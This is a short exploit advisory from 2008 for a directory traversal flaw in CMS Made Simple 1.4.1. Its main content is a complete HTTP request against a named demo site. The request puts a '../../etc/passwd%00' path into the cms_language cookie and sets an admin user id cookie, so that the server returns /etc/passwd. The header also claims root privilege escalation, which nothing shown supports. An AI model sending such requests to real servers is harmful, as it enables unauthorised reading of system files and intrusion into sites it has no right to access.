Type: Directory Traversal vulnerability (Unix tested) / Root privileges escalation
Vendor: CMS Made Simple
Software: CMS Made Simple 1.4.1 "Spring Garden" (and probably others ...)
Author: M4ck-h@cK
Date 29.11.2008
Home: sweet home
contact: no, thx :)

Exploit:


Demo: on h[ttp://demo.cmsmadesimple.fr/admin/]

GET http://demo.cmsmadesimple.fr/admin/login.php HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: demo.cmsmadesimple.fr
Cookie: cms_language=../../../../../../../../etc/passwd%00.html;cms_admin_user_id=1
Connection: Close
Pragma: no-cache

It's possible to set "cms_language" value in order to view /etc/passwd file.